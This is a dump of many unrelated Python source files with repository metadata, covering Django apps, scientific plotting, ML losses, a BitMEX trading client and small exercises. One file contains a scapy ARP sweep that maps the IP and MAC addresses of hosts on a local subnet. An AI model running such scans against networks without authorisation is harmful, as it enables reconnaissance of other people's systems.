from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='List',
fields=[
('id', models.AutoField(aut... | [
"mandylee@Mandyde-MacBook-Pro.local"
] | mandylee@Mandyde-MacBook-Pro.local |
d9147f28893fa78f78452ad48057faef6031d89a | fe21de00c15c174a2052cd601399ccb25a8e89dd | /digitick_client/models/shows_response_inner.py | d4f574e1311d165723db3269a3ea8105408e5195 | [
"MIT"
] | permissive | frague59/digitick-client | 560f775c7731ed7eda1f20137a7c2f8f67c7761d | b8787438cddc60720c60c8b23826185a7d0988d5 | refs/heads/master | 2021-09-05T01:49:18.131356 | 2018-01-23T15:23:27 | 2018-01-23T15:23:27 | 114,750,554 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,509 | py | # coding: utf-8
"""
Digitick REST API
The Digitick REST API is a set of methods giving access to catalog, user and cart management.
OpenAPI spec version: v1.0
Contact: contact@digitick.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six i... | [
"fguerin@ville-tourcoing.fr"
] | fguerin@ville-tourcoing.fr |
b9bcf064e318743a5c5030ddf2e243fa9c742794 | 8537ecfe2a23cfee7c9f86e2318501f745078d67 | /Practise_stuff/matplotlib/click_on_point_to_see_timeseries.py | d68c313bc04fa4ac8a3c2008391627668a605bd3 | [] | no_license | oolsson/oo_eclipse | 91d33501d9ed6c6b3c51bb22b635eb75da88e4e1 | 1828866bc4e1f67b279c5a037e4a6a4439ddb090 | refs/heads/master | 2021-01-01T20:17:12.644890 | 2015-11-30T09:49:41 | 2015-11-30T09:49:41 | 23,485,434 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,316 | py | import numpy as np
class PointBrowser:
"""
Click on a point to select and highlight it -- the data that
generated the point will be shown in the lower axes. Use the 'n'
and 'p' keys to browse through the next and previous points
"""
def __init__(self):
self.lastind = 0
... | [
"o.h.olsson@gmail.com"
] | o.h.olsson@gmail.com |
92e7687c7a8ef96851e81777f69514357f9cb034 | 020b0d5029a2095118356290046c71206bb24721 | /shipping/models.py | 64b05cad347435fa4bfebff6a138d095e02da066 | [] | no_license | H1tman1978/DjangoShippingApp | 5e59f0882f4a3af63456bee23a933335a926559d | 530db4a4d2e9f92c41795b3e989301a742c49a99 | refs/heads/master | 2023-01-23T18:49:11.231553 | 2020-11-13T21:51:00 | 2020-11-13T21:51:00 | 311,332,824 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,000 | py | from django.db import models
from django.contrib.auth.models import User
from django.utils import timezone
# Create your models here.
class Address(models.Model):
STATE_PROVINCE_CHOICES = [
# US States
('AL', 'Alabama - AL'),
('AK', 'Alaska - AK'),
('AZ', 'Arizona - AZ'),
(... | [
"anthonyrolfe1@outlook.com"
] | anthonyrolfe1@outlook.com |
25776af1187fca771865fe9e88c12c22d85a6df2 | d0e4eb61112f7ea62ed0d982dcd5937d5439c67c | /posts-network-graphtool.py | c70e075ad9ec61ec71aa7d77520f9a05cb56630e | [] | no_license | issaCucumber/network_graphs | 4d8ec5c6b9f37bc30956f8d4ca85f2c5b88ba7bb | 715e2b556ade5410576c972a0b0df5a3a7e58662 | refs/heads/master | 2020-04-06T06:59:38.282990 | 2016-09-11T08:37:37 | 2016-09-11T08:37:37 | 64,069,696 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,805 | py | #!/usr/bin/python
import xml.sax
import unicodedata
import os
import size
import color
import re
from graph_tool.all import *
from numpy import integer
vertices = {}
g = Graph(directed=False)
v_color = g.new_vertex_property("int")
v_size = g.new_vertex_property("int")
v_pen_width = g.new_vertex_property("int")
reg... | [
"chrisyzlui@gmail.com"
] | chrisyzlui@gmail.com |
e0d1ea9356bddae1788184d562b30b0e3e591a0b | 3f726711eeb03efa8bde4045a9af2cd8083e986e | /testchild.py | d4c11b2b531be4e70df5b9c65d6444518ea77136 | [] | no_license | samlsoh/testrepo | f639ebb8e58636c43c0d24914a4f4afd7cd4b364 | 8fa3e0db43c2dc4e0bec3a8828f0765aefcbe87b | refs/heads/main | 2023-04-05T14:51:02.661038 | 2021-04-10T07:46:21 | 2021-04-10T07:46:21 | 356,506,769 | 0 | 0 | null | 2021-04-10T07:46:22 | 2021-04-10T07:29:39 | Python | UTF-8 | Python | false | false | 7 | py | ## ttt
| [
"noreply@github.com"
] | samlsoh.noreply@github.com |
72a39cc7fc3b7cf07381a263be7d4e748952b994 | 97031e553affcc420162bcecc7ec5200cdeeaf8b | /Filter.py | 4b7516383c0f0eff6fdc534a50dd5dba9887cff4 | [] | no_license | Chenoachem/Supercomputer-Scripts | 4728a0d554dceb8419bce33e32bb2fa8ac5b2d6e | d5268048bde1b6ebf39d73cb441153fc9e927946 | refs/heads/master | 2020-03-18T13:57:34.959864 | 2018-05-25T08:59:09 | 2018-05-25T08:59:09 | 134,820,464 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,704 | py |
import os
import argparse
import numpy as np
import astropy
from astropy.io import fits
import matplotlib
from matplotlib import pyplot as plt
from astropy.coordinates import SkyCoord # High-level coordinates
from astropy.coordinates import ICRS, Galactic, FK4, FK5 # Low-level frames
from astropy.coordinates import... | [
"chenoa.tremblay@postgrad.curtin.edu.au"
] | chenoa.tremblay@postgrad.curtin.edu.au |
8a8e93b421403ad32883aba736e8f4d8f304e750 | aa5e3ee6d00f79a97480ea9eaecefe94373e8d21 | /electrify/electrify/settings.py | f10ca6bfaf148e60b4f775be35dfdf38dcb45f6e | [] | no_license | natchu/designAlgo | 8c79c128e64c026aea19c1e3b12a51a769f41732 | 46863bd7e3d0ace3e0afe516b0436603c0c2a349 | refs/heads/master | 2020-04-10T12:07:46.422321 | 2018-12-09T22:43:41 | 2018-12-09T22:43:41 | 161,012,330 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,219 | py | """
Django settings for electrify project.
Generated by 'django-admin startproject' using Django 1.11.17.
For more information on this file, see
https://docs.djangoproject.com/en/1.11/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.11/ref/settings/
"""
import... | [
"natch@Natchus-MacBook-Pro.fritz.box"
] | natch@Natchus-MacBook-Pro.fritz.box |
81c99e05387c044a3ac1267ff206a5f92e342628 | 8eadb61a38ccd0611cb2a3bdbe1a34063ebeab39 | /GRU4REC/modules/loss.py | b9f29357a876cf522a39545482508832353c8f27 | [] | no_license | yw4509/NewRecomendationSystem | 52ab8b3fe59465a32bba4c8312bc4af152c69ef5 | b58b06e70d150de45fff35b311b47085eaf533a1 | refs/heads/master | 2022-04-17T10:45:17.257869 | 2020-04-17T14:49:19 | 2020-04-17T14:49:19 | 256,531,133 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,348 | py | import torch
import torch.nn as nn
import torch.nn.functional as F
def LossFunction(loss_type):
if loss_type == 'CrossEntropy':
loss_fn = SampledCrossEntropyLoss
elif loss_type == 'TOP1':
loss_fn = TOP1Loss
elif loss_type == 'BPR':
loss_fn = BPRLoss
else:
raise NotImple... | [
"yw4509@nyu.edu"
] | yw4509@nyu.edu |
32772c6525955d24f7e8d62c333054bace5d0c9e | 57a55b98af1da63c806b47ff88b468f131b2989b | /03 - August Leetcode Challenge/12 - 119. Pascal's Triangle II.py | c9e37e9793c93d67947aaaf98e63af7e91110e3b | [] | no_license | MedhaNagaraj/Leetcode-Problems | 10545cb118e74dbef9fb5037fb6909f559595e6f | 8973804731b208ebfdd5e37436668c3c15c97f6d | refs/heads/master | 2022-12-18T07:44:12.994756 | 2020-09-17T14:40:28 | 2020-09-17T14:40:28 | 276,165,816 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 660 | py | """
119. Pascal's Triangle II
Given a non-negative index k where k ≤ 33, return the kth index row of the Pascal's triangle.
Note that the row index starts from 0.
In Pascal's triangle, each number is the sum of the two numbers directly above it.
Example:
Input: 3
Output: [1,3,3,1]
Follow up:
Coul... | [
"noreply@github.com"
] | MedhaNagaraj.noreply@github.com |
25a07303c5bf387a10234af8fbf3f95ddf57d6a8 | 02a27ec28d9e0b181324e53f4db127baa4acdf81 | /paratus/cat2vec.py | d273a0b3be813f9f2d6b096609c8983a9eae64fb | [] | no_license | jaume-ferrarons/paratus | 886363215c41c8884b0dfc979ad392a604be9001 | 667d55085ff6314e4c12f1e53a9c644276c23d90 | refs/heads/master | 2020-05-30T00:18:18.525748 | 2019-09-22T16:14:35 | 2019-09-22T16:14:35 | 189,456,371 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 923 | py | import numpy as np
import tensorflow as tf
from tensorflow.keras import layers, losses, callbacks, models
from paratus.autoencoder import Autoencoder
class Cat2Vec(Autoencoder):
def _input_layers(self, X):
n_features = X.shape[1]
print("#features: {}".format(n_features))
inputs = []
... | [
"ckroxigor@gmail.com"
] | ckroxigor@gmail.com |
cbc5f4ee8235f55c75f0cbc46d9e3ff8540ec936 | 0db794cd38729871ae4a431e4d3261d194addb22 | /tests/trainer/test_dataloaders.py | 1c7e21b7a72bb557d57ac83bec57b3b99f66d79d | [
"Apache-2.0"
] | permissive | scarecrow1123/pytorch-lightning | 465acd306c6f0d9f6c6dc1b76deb2b648f08aa60 | 66aa5270daf92813f3b1717513d1915ac6637fb4 | refs/heads/master | 2022-11-30T18:09:03.584325 | 2020-08-09T18:06:56 | 2020-08-09T18:06:56 | 285,723,364 | 0 | 0 | Apache-2.0 | 2020-08-07T03:00:11 | 2020-08-07T03:00:10 | null | UTF-8 | Python | false | false | 28,928 | py | import os
import platform
from unittest.mock import patch
import pytest
import torch
from packaging.version import parse
from torch.utils.data.dataloader import DataLoader
from torch.utils.data.dataset import IterableDataset, Subset
from torch.utils.data.distributed import DistributedSampler
import tests.base.develop... | [
"noreply@github.com"
] | scarecrow1123.noreply@github.com |
b1a6ae217e2b8adfa46ab725eabf7af800362709 | 256b02688ffce4b5a1fd009bc9eb3d8b3dc4a21b | /02/litianzeng/binary_search.py | c7dfa345f2c6a163a9fd392abb94084cf84351e7 | [] | no_license | yyuan9/actual_06_homework_mage | 72324ddd7a8c45233f7bb07245cfa2f06091f014 | 3bb81d2d5478cee52e56f4180dabcecba3c7eeb9 | refs/heads/master | 2020-05-13T03:11:15.257388 | 2017-08-18T07:33:22 | 2017-08-18T07:33:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 695 | py | #encodinf:utf-8
list_nums=[6, 3, 2, 6, 9, 11, 15, 17, 20, 26, 9, 38, 45, 69, 50, 55, 61, 68, 73]
list_nums.sort()
find_nums=input('数据为{list}\n输入你想查找的数字:'.format(list=list_nums))
find_nums=int(find_nums)
low=0
high=len(list_nums)
if find_nums in list_nums:
while True:
mid=(low+high)//2
... | [
"ltz150@163.com"
] | ltz150@163.com |
135e991bc86f84ddffd73260ec00cc4abd128f28 | 5406907c05b12e6e94d19d871960a946252018bf | /backend/src/members/migrations/0002_alter_members_rank.py | ba85dde5613228b6981dba6a282b431e82579de2 | [
"MIT"
] | permissive | kfriden/HouseOfTric | 3a22e8bcc5934a56cc36d160f371a4a90fb47668 | b32fca5dd2045b158f73530109616e6eca984158 | refs/heads/master | 2023-09-01T06:26:04.522987 | 2021-11-05T00:15:02 | 2021-11-05T00:15:02 | 387,297,731 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 375 | py | # Generated by Django 3.2.6 on 2021-08-25 01:57
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('members', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='members',
name='rank',
fi... | [
"kfriden@verizon.net"
] | kfriden@verizon.net |
9c3e255d923da6dcf06005d708128fcebe7dc196 | 99136b42e06baacc569c318494af2a1899771534 | /bitmex_basic.py | fdd64fc2124d8f2c777f6a9f651e5ed31cefbb5d | [] | no_license | Elder89/bitmex_trade | 901c621a672d5f14f18c09ef247eb778097fc805 | 258982e4f9e33922fc02208ce25cc6ff4bdb5061 | refs/heads/master | 2021-08-16T23:52:25.280391 | 2017-11-20T14:24:49 | 2017-11-20T14:24:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,632 | py | from requests.auth import AuthBase
import requests
from time import sleep
import json
import math
import uuid
from time import sleep
import time
import hmac
import hashlib
import urllib.request
import sys
import os
import urllib.parse as urlparse
import base64
class APIKeyAuthWithExpires(AuthBase):
"""Attaches A... | [
"h.s.298355@gmail.com"
] | h.s.298355@gmail.com |
7851381b34746f3487ce259477ca9681dcb2349a | 32cfd6a8df9b24059ed7bee0b7bf99b6c0268f6e | /framework/seocortex/utils/soupselect_old.py | 2498bc8d37f106ed475746dca6bdd246a3d6be44 | [] | no_license | blorenz/seocortex | 5cd7acb647fbc4908e6045d2a89bdd2ade922434 | 3f1f7e8ac4a12e24e7f2cb58407ce52babfe5cf8 | refs/heads/master | 2016-09-05T21:36:01.039128 | 2012-04-23T13:33:46 | 2012-04-23T13:33:46 | 3,951,299 | 0 | 3 | null | null | null | null | UTF-8 | Python | false | false | 4,621 | py | # -*-coding:Utf-8 -*
# Copyright 2012 - Peoplze.com <contact@peoplze.com>
# Python imports
import re
def attrInNode(node,atr):
for k,val in node.attrs:
if k == atr:
return True
return False
def htmlFind(node,selector,n,defaut=""):
l = list(node.findSelect(selector))
if len(l) >... | [
"blorenz@gmail.com"
] | blorenz@gmail.com |
3c0aa37db19014c3b157d9ace989b76bf437a1de | 529bb3ed31da78d1818e387d209fb2e783f14c4b | /blog/migrations/0002_add_thumbnail.py | ba65352ecb458a3776bc3337e20246c6b7c70725 | [] | no_license | bendavis78/django-simpleblog | 773c81dc6fe0bf6f95503cfc39acec77ff4d95c7 | f75a8a369615106d2a9bb02fe383e32f46b5943b | refs/heads/master | 2016-09-06T06:18:33.709241 | 2011-06-03T04:47:27 | 2011-06-03T04:47:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,854 | py | # encoding: utf-8
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'Post.thumbnail'
db.add_column('blog_post', 'thumbnail', self.gf('django.db.models.fields.f... | [
"bendavis78@gmail.com"
] | bendavis78@gmail.com |
3ca8fc6f5c55e2aa5a3785ebf17476db2b8dd918 | 1e3279c3ba088e0f1fa6b9fb4935c45383117b0a | /demo/lstm_encoder_decoder/encoder_decoder_lstm.py | 75128d3905414631734e12b91b8d0e954466cf46 | [] | no_license | pleiadian53/tpheno | fcbeb70bc07e6ce7f1b1c19db99fd8b2a8079bf4 | b8692f84143856ff672b3c7432f83c5aa5fe3bb2 | refs/heads/master | 2023-01-22T04:10:46.862687 | 2020-12-04T21:11:03 | 2020-12-04T21:11:03 | 318,626,246 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,156 | py | from random import seed
from random import randint
from numpy import array
from math import ceil
from math import log10
from math import sqrt
from numpy import argmax
from keras.models import Sequential
from keras.layers import Dense
from keras.layers import LSTM
from keras.layers import TimeDistributed
from keras.laye... | [
"barnettchiu@gmail.com"
] | barnettchiu@gmail.com |
e68e5d91b7780d3fad236dfa0ad58ca34d4e4f9e | 8b3ca44ee3d990233e74655b7131d616094f70c2 | /experiments/cross_validation/movielens_100K/poisson_gamma_gamma.py | cc0781ad2618e0f9db05184959fc4e28140035a0 | [] | no_license | zshwuhan/BMF_Priors | 8b8c54271285a72d2085a56a9475c0756f375e67 | 6a600da1c41f1ccde2f2ba99298b40e68fb9910a | refs/heads/master | 2021-05-13T19:10:07.203215 | 2017-12-01T13:30:21 | 2017-12-01T13:30:21 | 116,883,181 | 1 | 0 | null | 2018-01-09T23:36:13 | 2018-01-09T23:36:13 | null | UTF-8 | Python | false | false | 1,609 | py | '''
Run nested cross-validation experiment on the MovieLens 100K dataset, with
Poisson likelihood, Gamma priors, and Gamma hierarchical priors.
'''
project_location = "/Users/thomasbrouwer/Documents/Projects/libraries/"
import sys
sys.path.append(project_location)
from BMF_Priors.code.models.bmf_poisson_gamma_gamma ... | [
"tab43@cam.ac.uk"
] | tab43@cam.ac.uk |
ef823c380ac1dc37437cf35de1d03db83e68f33f | 0f68edfa22a0c90ae18309e50dac79e1e4c82c7f | /fixture/project.py | a5ed7c726d088aaedfaa4574869e9b2814a2c643 | [
"Apache-2.0"
] | permissive | Elen-T/Py_Mantis | 92118050b0cbdb05dadb93624a8c02c3d7f7044b | 011ec80678e111b0b83216874738727117435b37 | refs/heads/master | 2020-09-07T02:51:43.687346 | 2019-11-13T06:28:53 | 2019-11-13T06:28:53 | 220,635,272 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,745 | py | from model.project import Project
from selenium.webdriver.support.select import Select
class ProjectHelper:
def __init__(self, app):
self.app = app
def open_project_page(self):
wd = self.app.wd
wd.find_element_by_link_text("Manage").click()
wd.find_element_by_link_text("Manag... | [
"547457457545678@mail.ru"
] | 547457457545678@mail.ru |
34133b8a2f6433f58642cbe7cbcfc7c5e82631e1 | cdbaf39c58364fc9e788a17c5aa4e583829785d6 | /order/migrations/0050_auto_20160720_1126.py | 79358761b5a699a34d142440a08d94d39b48824c | [] | no_license | JaeLee18/Django_eCommerce | a0f83965166e7b75225e3b4828c3a36473a6c5c8 | 860c99ca53557c3750dafd2f4dbf8e195de4d752 | refs/heads/master | 2021-06-08T22:49:25.468838 | 2016-11-17T01:45:19 | 2016-11-17T01:45:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 718 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.6 on 2016-07-20 11:26
from __future__ import unicode_literals
import datetime
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('order', '0049_auto_20160720_1125'),
]
operations = [
migrati... | [
"lee2161@purdue.edu"
] | lee2161@purdue.edu |
b47cf13193324adf9fd276752b4bc7434550a170 | 90736089f21562da1fb189aa80e6ba1012682aa5 | /lab-manual/vpython-intro/programs/vpython-intro-vectors.py | f80c7638d0afecfa318a13699961ff82dbd18b63 | [] | no_license | CapaFenLisesi/Physics-For-Video-Games | e9e1a1d924f867e9bee05fae0d4557fc2abe97ad | 8ca7dda24977407055eba7d29d9da5970432ff77 | refs/heads/master | 2021-01-22T15:16:13.635568 | 2016-06-11T02:24:52 | 2016-06-11T02:24:52 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 262 | py | from __future__ import division
from visual import *
tennisball=sphere(pos=(0,6,0), radius=1, color=color.orange)
box(pos=(0,0,0), length=78, height=4, width=36, color=color.green)
print(tennisball.pos)
tennisball.pos=vector(32,7,-12)
print(tennisball.pos)
| [
"atitus@highpoint.edu"
] | atitus@highpoint.edu |
f10efb10e5e3e9c6b8d123106d18073cfb8124f2 | fc5dc03dccb44bc67fa1b4e4c27ba88fe7480f87 | /setup.py | c19c817fdb418c18ee7c885054261ecbb4aa78fb | [] | no_license | uchagani/pixel_ring | b1632168f825723af83fadb8bce79b1a6c940c94 | 27babb6e9f591390e89cd14f4959f8ae86ad6383 | refs/heads/master | 2021-08-15T02:40:40.308514 | 2017-11-17T06:51:01 | 2017-11-17T06:51:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,425 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""The setup script."""
from setuptools import setup, find_packages
README = \
'''
APA102 pixel ring
'''
requirements = [
'spidev'
]
setup_requirements = [
# TODO: put setup requirements (distutils extensions, etc.) here
]
test_requirements = [
'pytest'
]... | [
"yihui.xiong@hotmail.com"
] | yihui.xiong@hotmail.com |
f8dcb79496b226693eb440a4735a89a8bb445860 | 684b61f3405ed01b4184b222da342bd1533e4b90 | /shop/migrations/0002_auto_20200406_1505.py | 17c49a7cd1d4a26822a3030c54e37da8409a58fd | [] | no_license | Mubashar-javed/myshop | 6379d2568e969db9f8dc30354966d4054463959f | 0248c2cb6e26500b5fd1404dad45b14ebf1092ac | refs/heads/master | 2023-05-26T08:01:09.067626 | 2022-12-08T09:36:10 | 2022-12-08T09:36:10 | 254,266,547 | 0 | 0 | null | 2023-05-23T01:08:14 | 2020-04-09T03:57:41 | Python | UTF-8 | Python | false | false | 353 | py | # Generated by Django 2.2.5 on 2020-04-06 10:05
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('shop', '0001_initial'),
]
operations = [
migrations.RenameField(
model_name='product',
old_name='cereated',
new_... | [
"mubasharbravo302@gmail.com"
] | mubasharbravo302@gmail.com |
aed11a2c4d13c0d479bf8465197e8185bcd75c06 | 14f0c423c109a75a8cbd10ca8c526f1482e3e385 | /Python/Django/multuple_apps/apps/blogs/views.py | 56e65b2b27072046cd5e9fc24cc6c724cda4ae09 | [] | no_license | thisolivier/dojo-master | 21fd5d13e25321cce0558cab3b0c0335774e173c | 9486f6b2af2148a296e2a238eee2b814fe0831fe | refs/heads/master | 2021-01-01T06:47:07.162851 | 2017-09-16T00:54:05 | 2017-09-16T00:54:05 | 97,511,225 | 0 | 0 | null | 2017-09-16T00:42:26 | 2017-07-17T18:51:47 | Python | UTF-8 | Python | false | false | 734 | py | from django.shortcuts import render
# Create your views here.
def blog_root(request):
print "---> Generating root template"
return render(request, 'blogs/index.html')
def blog_new(request):
print "---> Generating new blog template"
return render(request, 'blogs/index.html')
def blog_create(request):
... | [
"olivier.butler@gmail.com"
] | olivier.butler@gmail.com |
d0479fa248e992aff2046f147e18df724d37ad7f | 6fcfb638fa725b6d21083ec54e3609fc1b287d9e | /python/AirSage_Petrel/Petrel-master/petrel/petrel/storm.py | bd46ee3d47e13255528269e2dc4ef4455261a969 | [] | no_license | LiuFang816/SALSTM_py_data | 6db258e51858aeff14af38898fef715b46980ac1 | d494b3041069d377d6a7a9c296a14334f2fa5acc | refs/heads/master | 2022-12-25T06:39:52.222097 | 2019-12-12T08:49:07 | 2019-12-12T08:49:07 | 227,546,525 | 10 | 7 | null | 2022-12-19T02:53:01 | 2019-12-12T07:29:39 | Python | UTF-8 | Python | false | false | 16,718 | py | from __future__ import print_function
import sys
import os
import time
import socket
import logging
from collections import deque
import json
import six
storm_log = logging.getLogger('storm')
TUPLE_PROFILING = False
json_encode = lambda x: json.dumps(x)
json_decode = lambda x: json.loads(x)
BLANK_LINE_CHECK = T... | [
"659338505@qq.com"
] | 659338505@qq.com |
5212344b23e0b6e2718d3ec852b6c3ded6518b8b | 4b097a3b3c70290d23da8281caef8d91fa70005c | /models/place.py | fadd992bd247b31ff3d3034ab36695dfc10bb67d | [] | no_license | nataliamedinat/AirBnB_clone | 8e26e2aba4318ab56eefa8fb0f7a51cb0ec10164 | 096e14361604dd1bd26139a16ecedbfc5099a757 | refs/heads/master | 2020-09-06T18:49:07.521218 | 2019-11-25T22:26:28 | 2019-11-25T22:26:28 | 220,513,132 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 381 | py | #!/usr/bin/python3
""" Place inherits from BaseModel """
from models.base_model import BaseModel
class Place(BaseModel):
""" Inherits from BaseModel class """
city_id = ""
user_id = ""
name = ""
description = ""
number_rooms = 0
number_bathrooms = 0
max_guest = 0
price_by_night = 0... | [
"barbaracalle10i3@gmail.com"
] | barbaracalle10i3@gmail.com |
f1010cdff0106ff59ffa22b5b5d3ee835bf5829f | fcc88521f63a3c22c81a9242ae3b203f2ea888fd | /Python3/0689-Maximum-Sum-of-3-Non-Overlapping-Subarrays/soln-1.py | f62c0aa991d5e1a4c2f04b46e6f6e54a54e99d0f | [
"MIT"
] | permissive | wyaadarsh/LeetCode-Solutions | b5963e3427aa547d485d3a2cb24e6cedc72804fd | 3719f5cb059eefd66b83eb8ae990652f4b7fd124 | refs/heads/master | 2022-12-06T15:50:37.930987 | 2020-08-30T15:49:27 | 2020-08-30T15:49:27 | 291,811,790 | 0 | 1 | MIT | 2020-08-31T19:57:35 | 2020-08-31T19:57:34 | null | UTF-8 | Python | false | false | 996 | py | class Solution:
def maxSumOfThreeSubarrays(self, nums: List[int], k: int) -> List[int]:
idx1, idx2, idx3 = 0, k, k * 2
s1, s2, s3 = sum(nums[idx1:idx1 + k]), sum(nums[idx2:idx2 + k]), sum(nums[idx3:idx3 + k])
bests1, bests12, bests123 = s1, s1 + s2, s1 + s2 + s3
besti1 = 0
be... | [
"zhang623@wisc.edu"
] | zhang623@wisc.edu |
94458562cd7bf5f91df8d4257fc676713c9cdb93 | 55c250525bd7198ac905b1f2f86d16a44f73e03a | /Python/Games/Python wow/tests/models/spells/test_buff_schema.py | 86c88aee46e4d4ca161e2602ae7dee3c807b81df | [] | no_license | NateWeiler/Resources | 213d18ba86f7cc9d845741b8571b9e2c2c6be916 | bd4a8a82a3e83a381c97d19e5df42cbababfc66c | refs/heads/master | 2023-09-03T17:50:31.937137 | 2023-08-28T23:50:57 | 2023-08-28T23:50:57 | 267,368,545 | 2 | 1 | null | 2022-09-08T15:20:18 | 2020-05-27T16:18:17 | null | UTF-8 | Python | false | false | 129 | py | version https://git-lfs.github.com/spec/v1
oid sha256:e63d9f081f022098267a17e7874b4d2fd1dcffedf91d27fcc4a3820700084f41
size 1940
| [
"nateweiler84@gmail.com"
] | nateweiler84@gmail.com |
25f5b6a0231aae43d1a222da8cce0e9794ab1980 | 3fd1c9ac583fd6c203455b31887f70ceefc898dd | /lib/qr_generator.py | 2299a1f8a538b3f962111c80a3201294f16d19be | [] | no_license | satyabratsahoo/Rover-AI | 66d354dee494152ade79fec4d73bb2cba1046958 | 162633a811f782ecacc98854b613e8d70cd056ae | refs/heads/master | 2023-02-17T19:18:13.543706 | 2021-01-20T06:22:07 | 2021-01-20T06:22:07 | 300,798,518 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,945 | py | import qrcode
from lib.file import get_full_path
from lib.common import AppConfig
from PIL import Image, ImageDraw, ImageFont
import json
def qr_generate(arg_data, out_path='', label=None, label_font=18, embed_img=None):
if embed_img is not None:
face = Image.open(get_full_path('resources', 'images', 'log... | [
"satyabratsahoo.kc@gmail.com"
] | satyabratsahoo.kc@gmail.com |
2e0c5b56074e66f23fe0ffc2d2503078ee12ae25 | d3f073366e2b576c23b19af3b7ee891ef2913a2e | /setup-liferay/scripts/test.py | 69de5e8b841d91ca360923b66e00c7992da71cf2 | [] | no_license | bibbox/sys-bibbox-vmscripts | 84000da7f7cf52f591fcd816b0bf1dd2cc3fd33d | aa30c8c210eba245b290037541e64b98dfa633f3 | refs/heads/master | 2022-08-31T09:27:24.577800 | 2020-05-31T13:37:50 | 2020-05-31T13:37:50 | 63,229,596 | 0 | 1 | null | 2019-03-17T15:05:43 | 2016-07-13T08:40:28 | Python | UTF-8 | Python | false | false | 414 | py | import re
hosts = open("/etc/hosts", 'r')
print(str(hosts.read()))
if re.search('255\.255\.255\.255(.*)localhost', str(hosts.read())):
print('match')
else:
print('nomatch')
newhosts = ""
linenumber = 0
with open("/etc/hosts", 'r') as f:
for line in f:
newhosts += line
... | [
"robert.reihs@gmail.com"
] | robert.reihs@gmail.com |
b4d28d4ac9d76360e7ff38057add343ac62aabd8 | aeb0fcc60ad1349a4bb06b5c93628a483178c542 | /tools/csk_test/__init__.py | 833a5f06c5ff381ab10f2acfe0c54334f5cabe8b | [] | no_license | jacke121/YOLOv3_PyTorch | c535ffd52ca2b2b8c0885da76d180b96b333c257 | ad0459c6524ce5edefcc6886985ac843c0abef48 | refs/heads/master | 2020-03-21T23:35:26.729893 | 2018-09-07T10:50:18 | 2018-09-07T10:50:18 | 139,196,231 | 8 | 0 | null | 2018-06-29T21:06:47 | 2018-06-29T21:06:47 | null | UTF-8 | Python | false | false | 335 | py | # !/usr/bin/env python2.7
# -*- coding: utf-8 -*-
from scapy.all import srp, Ether, ARP, conf
lan = '192.168.25.1/24'
ans, unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF") / ARP(pdst=lan), timeout=1)
for snd, rcv in ans:
cur_mac = rcv.sprintf("%Ether.src%")
cur_ip = rcv.sprintf("%ARP.psrc%")
print(cur_mac + '... | [
"lbg@example.com"
] | lbg@example.com |
c72cbcd440074e6bc7d2e8a2a8c11f0f5a79f2e0 | f458d3f77cf7cb1ebe1da43aa8b2de64b9a2a828 | /ddblog/ddblog/urls.py | 814bc9265417403ab027d3041a9a82fefa9bf76e | [] | no_license | 18372689867/bo_ke | c4715011cda284b1fb9586faf6857d2556b73fe2 | 9e159ebe7bab1899b73258b3c2763ca3d2b044bf | refs/heads/master | 2023-03-08T07:54:53.798940 | 2021-02-23T12:24:11 | 2021-02-23T12:24:11 | 341,542,041 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,620 | py | """ddblog URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based ... | [
"1671129@qq.com"
] | 1671129@qq.com |
6c01e0c87f1231c1a696e1b6cbdbd868b04e2a06 | 011a750fae8ade67f726a9749e05cc4afb8e360d | /text_file_analyser/test/main.py | 141c4ce62d4e23028bccb531ba11cf934d5e6550 | [] | no_license | MartinCarufel/PycharmProjects | c7e50b66a24d4a216b7a217192fcd446f5324d9f | aaa6c95b3e2e6525586fb6a03d1c9d484065899b | refs/heads/master | 2023-07-05T22:40:38.650892 | 2023-06-26T13:55:13 | 2023-06-26T13:55:13 | 150,859,642 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 648 | py | from text_file_analyser import Text_File_analyser
import pandas as pd
def main():
tf = Text_File_analyser("usb_stress_testIO-04-000979.log")
csv_data = tf.data_spliter("\| Date :", " +")
df = pd.DataFrame(csv_data)
df = df[[3, 4]]
print(df)
def main2():
# Creating the dataframe
df = pd.... | [
"maccam6@gmail.com"
] | maccam6@gmail.com |
